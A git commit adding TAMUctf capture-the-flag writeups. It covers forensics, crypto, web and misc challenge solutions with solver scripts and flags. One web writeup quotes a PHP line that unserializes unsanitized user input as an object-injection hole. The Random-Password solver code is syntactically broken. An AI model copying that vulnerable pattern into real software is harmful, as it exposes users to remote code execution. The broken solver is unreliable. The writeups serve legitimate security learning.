added writeups exported from ctfnote
This commit is contained in:
parent
77ed881028
commit
a37637a794
30 changed files with 1487 additions and 0 deletions
2
Abnormal-Ellipse-crypto.md
Normal file
2
Abnormal-Ellipse-crypto.md
Normal file
|
|
@ -0,0 +1,2 @@
|
||||||
|
# Abnormal Ellipse - crypto
|
||||||
|
|
||||||
110
Broken-Website-web.md
Normal file
110
Broken-Website-web.md
Normal file
|
|
@ -0,0 +1,110 @@
|
||||||
|
# Broken Website - web
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
The future is quic, this challenge was not.
|
||||||
|
|
||||||
|
## Problem
|
||||||
|
|
||||||
|
`curl -v https://broken-website.tamuctf.cybr.club/`
|
||||||
|
|
||||||
|
```
|
||||||
|
* Host broken-website.tamuctf.cybr.club:443 was resolved.
|
||||||
|
* IPv6: (none)
|
||||||
|
* IPv4: 54.91.191.64
|
||||||
|
* Trying 54.91.191.64:443...
|
||||||
|
* connect to 54.91.191.64 port 443 from 192.168.0.79 port 53398 failed: Die Wartezeit für die Verbindung ist abgelaufen
|
||||||
|
* Failed to connect to broken-website.tamuctf.cybr.club port 443 after 133017 ms: Could not connect to server
|
||||||
|
* closing connection #0
|
||||||
|
curl: (28) Failed to connect to broken-website.tamuctf.cybr.club port 443 after 133017 ms: Could not connect to server
|
||||||
|
```
|
||||||
|
|
||||||
|
Every attempt to connect to this site fails and/or times out.
|
||||||
|
|
||||||
|
## Solution
|
||||||
|
|
||||||
|
**Steps to solve:**
|
||||||
|
- Check some ports
|
||||||
|
- Check ALL the ports
|
||||||
|
- even try udp, because when there is no tcp, there is only udp left. But why would someone within their right mind use udp to serve a website!?
|
||||||
|
- try port knocking
|
||||||
|
- with default sequences
|
||||||
|
- with custom sequences
|
||||||
|
- consider doing a rain dance
|
||||||
|
- absolutely NO response from the server, so it HAS to be a network problem
|
||||||
|
- with 3 persons:
|
||||||
|
- blame AWS, because there currently is a offcially announced AWS problem between USA and europe
|
||||||
|
- find out that when connecting via nordvpn there is an answer on port 80
|
||||||
|
- rent servers in different parts of the world to check network issue
|
||||||
|
- blame challenge autor
|
||||||
|
- blame ctf infrastructure
|
||||||
|
- complain in support discord
|
||||||
|
- loop for 3 hours
|
||||||
|
- ignore this messed up stuff
|
||||||
|
- go to a concert
|
||||||
|
- drink some wine
|
||||||
|
- come back, think about tcp and udp
|
||||||
|
- vaguely remember some vague reference some month ago when someone mentioned quic
|
||||||
|
|
||||||
|
### Try quic/http3
|
||||||
|
|
||||||
|
https://curl.se/docs/manpage.html#--http3-only
|
||||||
|
`curl -v --http3-only https://broken-website.tamuctf.cybr.club/`
|
||||||
|
|
||||||
|
```
|
||||||
|
* Host broken-website.tamuctf.cybr.club:443 was resolved.
|
||||||
|
* IPv6: (none)
|
||||||
|
* IPv4: 54.91.191.64
|
||||||
|
* Trying 54.91.191.64:443...
|
||||||
|
* SSL Trust Anchors:
|
||||||
|
* CAfile: /etc/ssl/certs/ca-certificates.crt
|
||||||
|
* SSL connection using TLSv1.3 / TLS_AES_128_GCM_SHA256 / X25519MLKEM768 / id-ecPublicKey
|
||||||
|
* Server certificate:
|
||||||
|
* subject:
|
||||||
|
* start date: Mar 22 07:09:30 2026 GMT
|
||||||
|
* expire date: Mar 22 19:09:30 2026 GMT
|
||||||
|
* issuer: CN=Caddy Local Authority - ECC Intermediate
|
||||||
|
* Certificate level 0: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256
|
||||||
|
* Certificate level 1: Public key type EC/prime256v1 (256/128 Bits/secBits), signed using ecdsa-with-SHA256
|
||||||
|
* subjectAltName: "broken-website.tamuctf.cybr.club" matches cert's "broken-website.tamuctf.cybr.club"
|
||||||
|
* OpenSSL verify result: 14
|
||||||
|
* SSL certificate OpenSSL verify result: unable to get local issuer certificate (20)
|
||||||
|
* QUIC connect to 54.91.191.64 port 443 failed: SSL peer certificate or SSH remote key was not OK
|
||||||
|
* Failed to connect to broken-website.tamuctf.cybr.club port 443 after 117 ms: SSL peer certificate or SSH remote key was not OK
|
||||||
|
* closing connection #0
|
||||||
|
curl: (60) Failed to connect to broken-website.tamuctf.cybr.club port 443 after 117 ms: SSL peer certificate or SSH remote key was not OK
|
||||||
|
More details here: https://curl.se/docs/sslcerts.html
|
||||||
|
|
||||||
|
curl failed to verify the legitimacy of the server and therefore could not
|
||||||
|
establish a secure connection to it. To learn more about this situation and
|
||||||
|
how to fix it, please visit the webpage mentioned above.
|
||||||
|
```
|
||||||
|
|
||||||
|
Certificate problem? -> ignore
|
||||||
|
https://curl.se/docs/manpage.html#--insecure
|
||||||
|
`curl --http3-only --insecure https://broken-website.tamuctf.cybr.club/`
|
||||||
|
|
||||||
|
```html
|
||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="en">
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
|
<title>Fancy Website</title>
|
||||||
|
<link rel="stylesheet" type="text/css" href="style.css">
|
||||||
|
<link rel="preconnect" href="https://fonts.googleapis.com">
|
||||||
|
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
|
||||||
|
<link href="https://fonts.googleapis.com/css2?family=Ubuntu:ital,wght@0,300;0,400;0,500;0,700;1,300;1,400;1,500;1,700&display=swap" rel="stylesheet">
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<h1>Welcome to my website!</h1>
|
||||||
|
<h2>Here's the flag:</h2>
|
||||||
|
<h2>gigem{7h3_fu7u23_15_qu1c_64d1f5}</h2>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
```
|
||||||
|
|
||||||
|
## Flag
|
||||||
|
|
||||||
|
`gigem{7h3_fu7u23_15_qu1c_64d1f5}`
|
||||||
|
|
||||||
37
Colonel-forensics.md
Normal file
37
Colonel-forensics.md
Normal file
|
|
@ -0,0 +1,37 @@
|
||||||
|
# Colonel - forensics
|
||||||
|
fridgebuyer
|
||||||
|
|
||||||
|
### vol
|
||||||
|
|
||||||
|
vol -f memory.dump linux.bash.Bash
|
||||||
|
vol -f memory.dump linux.kmsg.Kmsg
|
||||||
|
|
||||||
|
"insmod check_service.ko key_path=validation*"
|
||||||
|
|
||||||
|
### kmsg
|
||||||
|
|
||||||
|
Key 1 ```Error: Invalid key 51782b4b765251314e32525236364978534d35566a6b72474b67303946483266, indices 9 21 31 incorrect```
|
||||||
|
|
||||||
|
Key 2 ```Error: Invalid key 58782b4b765251314e51525235364978534d35566a6a72524b673039466c3265, indices 0 12 23 29 incorrect```
|
||||||
|
|
||||||
|
A kernel module check_service.ko was loaded twice with two different key files (validation, validation2). kmsg recorded both attempts.
|
||||||
|
|
||||||
|
### Decode hex to ASCII
|
||||||
|
swap incorrect indices between keys (Key 1 as a base
|
||||||
|
and replace its bad positions (9, 21, 31) with the correct chars
|
||||||
|
from Key 2)
|
||||||
|
|
||||||
|
-> Qx+KvRQ1NQRR66IxSM5VjjrGKg09FH2e
|
||||||
|
|
||||||
|
### Decrypt
|
||||||
|
IV - 1234567890123456, key - ASCII bytes
|
||||||
|
|
||||||
|
python3 -c "
|
||||||
|
from Crypto.Cipher import AES
|
||||||
|
key = b'Qx+KvRQ1NQRR66IxSM5VjjrGKg09FH2e'
|
||||||
|
iv = b'1234567890123456'
|
||||||
|
ct = open('flag.enc','rb').read()
|
||||||
|
print(AES.new(key,AES.MODE_CBC,iv).decrypt(ct))
|
||||||
|
"
|
||||||
|
|
||||||
|
**gigem{bl3ss3d_4r3_th3_c010n31_m33k}**
|
||||||
3
Favorite-Sponsor-getting-started.md
Normal file
3
Favorite-Sponsor-getting-started.md
Normal file
|
|
@ -0,0 +1,3 @@
|
||||||
|
# Favorite Sponsor - getting started
|
||||||
|
|
||||||
|
Copy the link of your favorite TAMUctf sponsor and place it inside of the brackets of gigem{}!
|
||||||
2
Gamer-Returns-misc.md
Normal file
2
Gamer-Returns-misc.md
Normal file
|
|
@ -0,0 +1,2 @@
|
||||||
|
# Gamer Returns - misc
|
||||||
|
|
||||||
2
Goodbye-libc-pwn.md
Normal file
2
Goodbye-libc-pwn.md
Normal file
|
|
@ -0,0 +1,2 @@
|
||||||
|
# Goodbye libc - pwn
|
||||||
|
|
||||||
150
Hidden-Log-Factoring-crypto.md
Normal file
150
Hidden-Log-Factoring-crypto.md
Normal file
|
|
@ -0,0 +1,150 @@
|
||||||
|
# Hidden Log Factoring - crypto
|
||||||
|
|
||||||
|
Den Schnippsel in https://sagecell.sagemath.org/ kopieren:
|
||||||
|
|
||||||
|
```
|
||||||
|
# Deine Werte
|
||||||
|
p = 200167626629249973590210748210664315551571227173732968065685194568612605520816305417784745648399324178485097581867501503778073506528170960879344249321872139638179291829086442429009723480288604047975360660822750743411854623254328369265079475034447044479229192540942687284442586906047953374527204596869578972378578818243592790149118451253249
|
||||||
|
y = 44209577951808382329528773174800640982676772266062718570752782238450958062000992024007390942331777802579750741643234627722057238001117859851305258592175283446986950906322475842276682130684406699583969531658154117541036033175624316123630171940523312498410797292015306505441358652764718889371372744612329404629522344917215516711582956706994
|
||||||
|
g = 11
|
||||||
|
|
||||||
|
# Erstelle den Restklassenring/Körper
|
||||||
|
R = Integers(p)
|
||||||
|
target = R(y)
|
||||||
|
base = R(g)
|
||||||
|
|
||||||
|
# Nutze die globale discrete_log Funktion mit der Schranke 2^100
|
||||||
|
# bounds=(untergrenze, obergrenze) beschleunigt die Suche enorm
|
||||||
|
s = discrete_log(target, base, bounds=(1, 1 << 100))
|
||||||
|
|
||||||
|
print(f"Gefundenes s: {s}")
|
||||||
|
```
|
||||||
|
|
||||||
|
`Gefundenes s: 485391067385099231898174017598`
|
||||||
|
|
||||||
|
|
||||||
|
LLM genereated:
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
def decrypt(c, p, q):
|
||||||
|
n = p * q
|
||||||
|
# Berechnung der Quadratwurzeln modulo p und q
|
||||||
|
# Dies ist für p, q ≡ 3 (mod 4) besonders einfach
|
||||||
|
mp = pow(c, (p + 1) // 4, p)
|
||||||
|
mq = pow(c, (q + 1) // 4, q)
|
||||||
|
|
||||||
|
# Erweiterter Euklidischer Algorithmus für yp*p + yq*q = 1
|
||||||
|
def extended_gcd(a, b):
|
||||||
|
if a == 0: return b, 0, 1
|
||||||
|
gcd, x1, y1 = extended_gcd(b % a, a)
|
||||||
|
return gcd, y1 - (b // a) * x1, x1
|
||||||
|
|
||||||
|
_, yp, yq = extended_gcd(p, q)
|
||||||
|
|
||||||
|
# Die vier möglichen Wurzeln (Kombination via Chinesischem Restsatz)
|
||||||
|
r1 = (yp * p * mq + yq * q * mp) % n
|
||||||
|
r2 = n - r1
|
||||||
|
r3 = (yp * p * mq - yq * q * mp) % n
|
||||||
|
r4 = n - r3
|
||||||
|
|
||||||
|
return [r1, r2, r3, r4]
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
Ehrenlos zusammengevibed:
|
||||||
|
|
||||||
|
```
|
||||||
|
from Crypto.Util.number import long_to_bytes, bytes_to_long
|
||||||
|
from cryptography.hazmat.primitives.kdf.hkdf import HKDF
|
||||||
|
from cryptography.hazmat.primitives import hashes
|
||||||
|
from cryptography.hazmat.backends import default_backend
|
||||||
|
|
||||||
|
# --- Gegebene Daten einfügen ---
|
||||||
|
n=71016310005824589926747341243598522145452505235842335510488353587223142066921470760443852767377534776713566052988373656012584808377496091765373981120165220471527586994259252074709653090148780742972203779666231432769553199154214563039426087870098774883375566546770723222752131892953195949848583409407713489831
|
||||||
|
e = 65537
|
||||||
|
p = 200167626629249973590210748210664315551571227173732968065685194568612605520816305417784745648399324178485097581867501503778073506528170960879344249321872139638179291829086442429009723480288604047975360660822750743411854623254328369265079475034447044479229192540942687284442586906047953374527204596869578972378578818243592790149118451253249
|
||||||
|
g = 11
|
||||||
|
A=44209577951808382329528773174800640982676772266062718570752782238450958062000992024007390942331777802579750741643234627722057238001117859851305258592175283446986950906322475842276682130684406699583969531658154117541036033175624316123630171940523312498410797292015306505441358652764718889371372744612329404629522344917215516711582956706994
|
||||||
|
D=9478993126102369804166465392238441359765254122557022102787395039760473484373917895152043164556897759129379257347258713397227019255397523784552330568551257950882564054224108445256766524125007082113207841784651721510041313068567959041923601780557243220011462176445589034556139643023098611601440872439110251624
|
||||||
|
c=1479919887254219636530919475050983663848182436330538045427636138917562865693442211774911655964940989306960131568709021476461747472930022641984797332621318327273825157712858569934666380955735263664889604798016194035704361047493027641699022507373990773216443687431071760958198437503246519811635672063448591496
|
||||||
|
|
||||||
|
# --- 1. DLP lösen mit Sage ---
|
||||||
|
print("[*] Löse DLP für s...")
|
||||||
|
# Erstelle den Restklassenring/Körper
|
||||||
|
R = Integers(p)
|
||||||
|
target = R(A)
|
||||||
|
base = R(g)
|
||||||
|
|
||||||
|
# Nutze die globale discrete_log Funktion mit der Schranke 2^100
|
||||||
|
# bounds=(untergrenze, obergrenze) beschleunigt die Suche enorm
|
||||||
|
s = discrete_log(target, base, bounds=(1, 1 << 100))
|
||||||
|
print(f"[+] s gefunden: {s}")
|
||||||
|
|
||||||
|
# --- 2. d-Maske berechnen ---
|
||||||
|
def get_mask(s_val, bit_len):
|
||||||
|
hkdf = HKDF(
|
||||||
|
algorithm=hashes.SHA256(),
|
||||||
|
length=bit_len // 8,
|
||||||
|
salt=None,
|
||||||
|
info=b"rsa-d-mask",
|
||||||
|
backend=default_backend()
|
||||||
|
)
|
||||||
|
return bytes_to_long(hkdf.derive(long_to_bytes(s_val)))
|
||||||
|
|
||||||
|
# Wir nehmen an, dass d etwa so lang wie n ist
|
||||||
|
mask = get_mask(s, n.bit_length())
|
||||||
|
d = int(D ^ mask)
|
||||||
|
print(f"[+] d={d} berechnet.")
|
||||||
|
|
||||||
|
# --- 3. n faktorisieren (via e und d) ---
|
||||||
|
# In Sage gibt es eingebaute Methoden, oder wir nutzen den Standard-Algorithmus
|
||||||
|
def factor_n_ed(n, e, d):
|
||||||
|
k = d * e - 1
|
||||||
|
g = 2
|
||||||
|
while True:
|
||||||
|
t = k
|
||||||
|
while t % 2 == 0:
|
||||||
|
t //= 2
|
||||||
|
x = pow(g, t, n)
|
||||||
|
if x > 1:
|
||||||
|
y = gcd(x - 1, n)
|
||||||
|
if y > 1 and y < n:
|
||||||
|
return int(y), int(n // y)
|
||||||
|
g = next_prime(g)
|
||||||
|
|
||||||
|
q1, q2 = factor_n_ed(n, e, d)
|
||||||
|
print(f"[+] Faktoren gefunden: q1={q1}, q2={q2}")
|
||||||
|
|
||||||
|
# Nutze die Faktoren q1 und q2 für die schnelle Berechnung
|
||||||
|
def general_rabin_decrypt(c, p, q):
|
||||||
|
# Berechnet Wurzeln für JEDE Primzahl (auch wenn p != 3 mod 4)
|
||||||
|
# Fp und Fq sind die endlichen Körper
|
||||||
|
Fp = GF(p)
|
||||||
|
Fq = GF(q)
|
||||||
|
|
||||||
|
# sqrt() in GF(p) findet alle Wurzeln
|
||||||
|
roots_p = Fp(c).sqrt(all=True)
|
||||||
|
roots_q = Fq(c).sqrt(all=True)
|
||||||
|
|
||||||
|
results = []
|
||||||
|
for rp in roots_p:
|
||||||
|
for rq in roots_q:
|
||||||
|
# Kombiniere alle Paarungen via Chinesischem Restsatz
|
||||||
|
res = crt([int(rp), int(rq)], [int(p), int(q)])
|
||||||
|
results.append(res)
|
||||||
|
return results
|
||||||
|
|
||||||
|
potential_roots = general_rabin_decrypt(c, q1, q2)
|
||||||
|
|
||||||
|
for r in potential_roots:
|
||||||
|
# Umwandlung von Integer zu Bytes
|
||||||
|
try:
|
||||||
|
flag_candidate = long_to_bytes(int(r))
|
||||||
|
print(f"Gefundene Nachricht: {flag_candidate}")
|
||||||
|
if b"flag" in flag_candidate.lower() or b"{" in flag_candidate:
|
||||||
|
print(f"\n[!!!] DAS IST DIE FLAGGE: {flag_candidate.decode(errors='ignore')}")
|
||||||
|
except:
|
||||||
|
continue
|
||||||
|
|
||||||
|
```
|
||||||
2
Nucleus-rev.md
Normal file
2
Nucleus-rev.md
Normal file
|
|
@ -0,0 +1,2 @@
|
||||||
|
# Nucleus - rev
|
||||||
|
|
||||||
55
POP-Restaurant-web-easy.md
Normal file
55
POP-Restaurant-web-easy.md
Normal file
|
|
@ -0,0 +1,55 @@
|
||||||
|
# POP Restaurant - web - easy
|
||||||
|
|
||||||
|
## Description
|
||||||
|
|
||||||
|
Spent a week to create this food ordering system. Hope that it will not have any critical vulnerability in my application.
|
||||||
|
|
||||||
|
----
|
||||||
|
|
||||||
|
## General
|
||||||
|
- Flag is under `/`, e.g: `/sXrq5wWZZYpMh_flag.txt`
|
||||||
|
- Therefore name is not predictable - probably RCE needed?
|
||||||
|
-
|
||||||
|
|
||||||
|
explanation of the attack vector
|
||||||
|
https://owasp.org/www-community/vulnerabilities/PHP_Object_Injection
|
||||||
|
|
||||||
|
|
||||||
|
## Compose
|
||||||
|
|
||||||
|
Place one directory level above the provided challenge folder.
|
||||||
|
|
||||||
|
Launch with `docker compose up --watch`.
|
||||||
|
|
||||||
|
```yaml
|
||||||
|
services:
|
||||||
|
web-pop_restaurant:
|
||||||
|
build:
|
||||||
|
context: ./challenge # if one level above provided challenge files.
|
||||||
|
dockerfile: Dockerfile
|
||||||
|
container_name: web-pop_restaurant
|
||||||
|
ports:
|
||||||
|
- "1337:80"
|
||||||
|
stdin_open: true
|
||||||
|
tty: true
|
||||||
|
develop:
|
||||||
|
watch:
|
||||||
|
- action: sync
|
||||||
|
path: ./challenge/challenge
|
||||||
|
target: /var/www/html
|
||||||
|
ignore:
|
||||||
|
- .git/
|
||||||
|
- action: sync
|
||||||
|
path: ./challenge/flag.txt
|
||||||
|
target: /flag.txt
|
||||||
|
```
|
||||||
|
|
||||||
|
## `order.php`
|
||||||
|
|
||||||
|
```php=16
|
||||||
|
$order = unserialize(base64_decode($_POST['data']));
|
||||||
|
```
|
||||||
|
|
||||||
|
User controlled input, unsaitized, send to unserialize().
|
||||||
|
|
||||||
|
Thats bad :(
|
||||||
8
Phantom-forensics.md
Normal file
8
Phantom-forensics.md
Normal file
|
|
@ -0,0 +1,8 @@
|
||||||
|
# Phantom - forensics
|
||||||
|
|
||||||
|
- git fsck --unreachable --no-reflogs
|
||||||
|
- for blob in 86f49cf 8b137891 4ced13f 11f0f8c fe3b0b88; do echo "=== $blob ==="; git cat-file -p $blob; echo; done
|
||||||
|
|
||||||
|
=== 86f49cf ===
|
||||||
|
**gigem{917hu8_f02k5_423_v32y_1n7323571n9_1d60b3}**
|
||||||
|
|
||||||
67
Quick-Response-misc.md
Normal file
67
Quick-Response-misc.md
Normal file
|
|
@ -0,0 +1,67 @@
|
||||||
|
# Quick Response - misc
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
|
||||||
|
fridgebuyer
|
||||||
|
|
||||||
|
- The QR is 29x29 == version 3
|
||||||
|
- Each module = 32x32 px
|
||||||
|
- What should be solid is alternated. The 7x7 finder patterns should be solid but are not visible in the 3 corners (top left, bottom left, top right)
|
||||||
|
- What should be alternated are solid lines (timing strips)
|
||||||
|
- So the original QR was likely XORed with a Checkerboard pattern
|
||||||
|
- https://www.pclviewer.com/rs2/qrmasking.htm Mask 000: (i + j) mod 2 = 0 is this
|
||||||
|
- But this was applied to entire qr code, not only to the data region
|
||||||
|
- So need to XOR every module with (row + col) % 2 again.
|
||||||
|
|
||||||
|
### sol
|
||||||
|
|
||||||
|
```
|
||||||
|
from PIL import Image
|
||||||
|
import numpy as np
|
||||||
|
from pyzbar.pyzbar import decode
|
||||||
|
|
||||||
|
img = Image.open("quick-response.png").convert("RGB")
|
||||||
|
arr = np.array(img)
|
||||||
|
|
||||||
|
# extract module grid
|
||||||
|
module_size = 32
|
||||||
|
n = 29
|
||||||
|
dark = np.array([20, 22, 27])
|
||||||
|
|
||||||
|
grid = np.zeros((n, n), dtype=int)
|
||||||
|
for r in range(n):
|
||||||
|
for c in range(n):
|
||||||
|
cy = r * module_size + module_size // 2
|
||||||
|
cx = c * module_size + module_size // 2
|
||||||
|
pixel = arr[cy, cx]
|
||||||
|
if np.sum((pixel.astype(int) - dark.astype(int)) ** 2) < 100:
|
||||||
|
grid[r, c] = 1
|
||||||
|
|
||||||
|
# XOR (i + j) mod 2 = 0
|
||||||
|
for r in range(n):
|
||||||
|
for c in range(n):
|
||||||
|
grid[r, c] ^= (r + c) % 2
|
||||||
|
|
||||||
|
# write fixed QR code
|
||||||
|
scale = 10
|
||||||
|
border = 4
|
||||||
|
total = (n + 2 * border) * scale
|
||||||
|
out = Image.new("L", (total, total), 255)
|
||||||
|
px = out.load()
|
||||||
|
for r in range(n):
|
||||||
|
for c in range(n):
|
||||||
|
if grid[r, c] == 1:
|
||||||
|
for dy in range(scale):
|
||||||
|
for dx in range(scale):
|
||||||
|
px[(c + border) * scale + dx, (r + border) * scale + dy] = 0
|
||||||
|
|
||||||
|
result = decode(out)
|
||||||
|
for r in result:
|
||||||
|
print(r.data.decode())
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
**gigem{d1d_y0u_n0t1c3_th3_t1m1n9_b175}**
|
||||||
38
Random-Password-crypto.md
Normal file
38
Random-Password-crypto.md
Normal file
|
|
@ -0,0 +1,38 @@
|
||||||
|
# Random Password - crypto
|
||||||
|
|
||||||
|
|
||||||
|
```
|
||||||
|
def backtrack(idx, sample, fives, sevens, accu, result):
|
||||||
|
if idx == 5718 and len(result(256)):
|
||||||
|
result.append(accu)
|
||||||
|
return
|
||||||
|
|
||||||
|
if len(fives) > 1 and sum(fives) < 5:
|
||||||
|
fives.append(sample[idx])
|
||||||
|
backtrack(idx + 1, sample,fives, sevens, accu, result)
|
||||||
|
fives.pop()
|
||||||
|
elif len(sevens) > 1 and sum(sevens) < 17:
|
||||||
|
sevens.append(sample[idx])
|
||||||
|
backtrack(idx + 1, sample,fives, sevens, accu, result)
|
||||||
|
sevens.pop()
|
||||||
|
elif len(fives) > 1 and sum(fives) > 5:r
|
||||||
|
accu.append(fives)
|
||||||
|
backtrack(idx, sample, [], sevens, accu, result)
|
||||||
|
accu.pop()
|
||||||
|
elif len(sevens) > 1 and sum(sevens) > 17:
|
||||||
|
accu.append(sevens)
|
||||||
|
backtrack(idx, sample, fives, [], accu, result)
|
||||||
|
accu.pop()
|
||||||
|
|
||||||
|
fives.append(sample[idx])
|
||||||
|
backtrack(idx + 1, sample,fives, sevens, accu, result)
|
||||||
|
fives.pop()
|
||||||
|
|
||||||
|
sevens.append(sample[idx])
|
||||||
|
backtrack(idx + 1, sample,fives, sevens, accu, result)
|
||||||
|
sevens.pop()
|
||||||
|
|
||||||
|
result = []
|
||||||
|
backtrack(0, sample, [], [], [], result)
|
||||||
|
|
||||||
|
```
|
||||||
67
Short-Term-Fuel-Trim-misc.md
Normal file
67
Short-Term-Fuel-Trim-misc.md
Normal file
|
|
@ -0,0 +1,67 @@
|
||||||
|
# Short Term Fuel Trim - misc
|
||||||
|
|
||||||
|
The data is a list of _129*1380_ complex numbers
|
||||||
|
```
|
||||||
|
# STFT shape: complex64 (129, 1380)
|
||||||
|
(0.000000000000000000e+00+0.000000000000000000e+00j)
|
||||||
|
(0.000000000000000000e+00+0.000000000000000000e+00j)
|
||||||
|
(-1.484999775886535645e+00+0.000000000000000000e+00j)
|
||||||
|
(2.873720169067382812e+00+0.000000000000000000e+00j)
|
||||||
|
(9.447572708129882812e+00+0.000000000000000000e+00j)
|
||||||
|
(8.104647827148437500e+01+0.000000000000000000e+00j)
|
||||||
|
(1.316259765625000000e+01+0.000000000000000000e+00j)
|
||||||
|
(-3.101673889160156250e+02+0.000000000000000000e+00j)
|
||||||
|
(-4.186026916503906250e+02+0.000000000000000000e+00j)
|
||||||
|
(-5.818300781250000000e+02+0.000000000000000000e+00j)
|
||||||
|
(2.119775390625000000e+02+0.000000000000000000e+00j)
|
||||||
|
(-1.738154602050781250e+02+0.000000000000000000e+00j)
|
||||||
|
(-2.650747985839843750e+02+0.000000000000000000e+00j)
|
||||||
|
(-3.873171691894531250e+02+0.000000000000000000e+00j)
|
||||||
|
(-4.193124389648437500e+02+0.000000000000000000e+00j)
|
||||||
|
(-1.984837646484375000e+02+0.000000000000000000e+00j)
|
||||||
|
(-1.092494659423828125e+02+0.000000000000000000e+00j)
|
||||||
|
|
||||||
|
```
|
||||||
|
STFT stands for [short time Fourier transform](https://en.wikipedia.org/wiki/Short-time_Fourier_transform).
|
||||||
|
The data is actually the STFT of an audio signal.
|
||||||
|
|
||||||
|
Using [scipy.signal.istft](https://docs.scipy.org/doc/scipy/reference/generated/scipy.signal.istft.html),
|
||||||
|
we performed the inverse transform and reconstructed the audio signal
|
||||||
|
```python
|
||||||
|
|
||||||
|
with open("numbers.txt", "r") as f:
|
||||||
|
lines = f.readlines()
|
||||||
|
|
||||||
|
shape = (129, 1380)
|
||||||
|
|
||||||
|
nums = np.array([complex(l.strip()) for l in lines[1:]])
|
||||||
|
arr = nums.reshape(*shape)
|
||||||
|
|
||||||
|
|
||||||
|
sampling_rate_hz = 44100
|
||||||
|
|
||||||
|
t, z = istft(arr, fs=sampling_rate_hz)
|
||||||
|
|
||||||
|
from scipy.io import wavfile
|
||||||
|
|
||||||
|
def time_series_to_wav(arr, sample_rate=44100):
|
||||||
|
#sample_rate = 44100 # Hz — set correctly
|
||||||
|
#samples = samples.astype(np.float32)
|
||||||
|
|
||||||
|
arr_mean = arr.mean()
|
||||||
|
arr_ptp = arr.max() - arr.min()
|
||||||
|
|
||||||
|
samples = (arr - arr_mean)*2/arr_ptp
|
||||||
|
|
||||||
|
# Normalize if float in [-1,1], convert to 16-bit:
|
||||||
|
scaled = (samples * 32767).astype(np.int16)
|
||||||
|
|
||||||
|
wavfile.write("out.wav", sample_rate, scaled)
|
||||||
|
|
||||||
|
time_series_to_wav(z, sample_rate=44100)
|
||||||
|
```
|
||||||
|
|
||||||
|
The flag is spoken text, and can be transcribed from the wav file.
|
||||||
|
|
||||||
|
|
||||||
|
The flag is `gigem{fft_is_50_0p}`
|
||||||
2
Sun-Temple-rev.md
Normal file
2
Sun-Temple-rev.md
Normal file
|
|
@ -0,0 +1,2 @@
|
||||||
|
# Sun Temple - rev
|
||||||
|
|
||||||
2
Task-Manager-pwn.md
Normal file
2
Task-Manager-pwn.md
Normal file
|
|
@ -0,0 +1,2 @@
|
||||||
|
# Task Manager - pwn
|
||||||
|
|
||||||
16
Test-task.md
Normal file
16
Test-task.md
Normal file
|
|
@ -0,0 +1,16 @@
|
||||||
|
# Test task
|
||||||
|
|
||||||
|
## Description
|
||||||
|
|
||||||
|
Test task
|
||||||
|
|
||||||
|
----
|
||||||
|
|
||||||
|
fuuuuuuuu
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
asdw
|
||||||
|
|
||||||
|
|
||||||
|
passt
|
||||||
33
Time-Capsule-forensics.md
Normal file
33
Time-Capsule-forensics.md
Normal file
|
|
@ -0,0 +1,33 @@
|
||||||
|
# Time Capsule - forensics
|
||||||
|
fridgebuyer
|
||||||
|
|
||||||
|
- mount the image
|
||||||
|
- in nostalgia/ ASCII chars can be derived from each file's mtime
|
||||||
|
- char = minutes * 60 + seconds
|
||||||
|
|
||||||
|
memory_1.jpg 2007-01-01 02:01:43
|
||||||
|
|
||||||
|
-- 1*60+43 = 103 = 'g'
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
python3 << 'EOF'
|
||||||
|
import os, datetime
|
||||||
|
|
||||||
|
flag = ""
|
||||||
|
for i in range(1, 18):
|
||||||
|
f = next(f for f in os.listdir(".") if f.startswith(f"memory_{i}."))
|
||||||
|
dt = datetime.datetime.fromtimestamp(os.stat(f).st_mtime)
|
||||||
|
ascii_val = dt.minute * 60 + dt.second
|
||||||
|
char = chr(ascii_val)
|
||||||
|
flag += char
|
||||||
|
print(f"{f:<20} {dt.strftime('%H:%M:%S')} min={dt.minute} sec={dt.second} -> {ascii_val} -> '{char}'")
|
||||||
|
|
||||||
|
print(f"\nFlag: {flag}")
|
||||||
|
EOF
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
**gigem{byg0n3_3r4}**
|
||||||
|
|
||||||
|
|
||||||
0
Untitled.md
Normal file
0
Untitled.md
Normal file
3
Untitled_6137f236-0713-490b-aabe-38062ff194ea.md
Normal file
3
Untitled_6137f236-0713-490b-aabe-38062ff194ea.md
Normal file
|
|
@ -0,0 +1,3 @@
|
||||||
|
Test
|
||||||
|
|
||||||
|
test2
|
||||||
300
Vault-web.md
Normal file
300
Vault-web.md
Normal file
|
|
@ -0,0 +1,300 @@
|
||||||
|
# Vault - web
|
||||||
|
|
||||||
|
## entrypoint.sh
|
||||||
|
|
||||||
|
|
||||||
|
```shell
|
||||||
|
...
|
||||||
|
mv /tmp/flag.txt /$(openssl rand -hex 12)-flag.txt
|
||||||
|
...
|
||||||
|
```
|
||||||
|
|
||||||
|
Flag is (for example) at `/24c6038f70c4bb0774ef6629-flag.txt`
|
||||||
|
|
||||||
|
|
||||||
|
## Compose
|
||||||
|
|
||||||
|
The challenge code is completely provided, so one can run their own local instance. This enables local customizing and debugging.
|
||||||
|
|
||||||
|
Instead of docker build, start, stop, change code, rebuild, ... just add a compose file.
|
||||||
|
This example assumes to be one directory level above the provided challenge files:
|
||||||
|
|
||||||
|
```yaml
|
||||||
|
services:
|
||||||
|
vault:
|
||||||
|
build:
|
||||||
|
context: ./challenge
|
||||||
|
dockerfile: Dockerfile
|
||||||
|
ports:
|
||||||
|
- "9090:80"
|
||||||
|
container_name: vault
|
||||||
|
restart: unless-stopped
|
||||||
|
```
|
||||||
|
|
||||||
|
## LFI
|
||||||
|
|
||||||
|
|
||||||
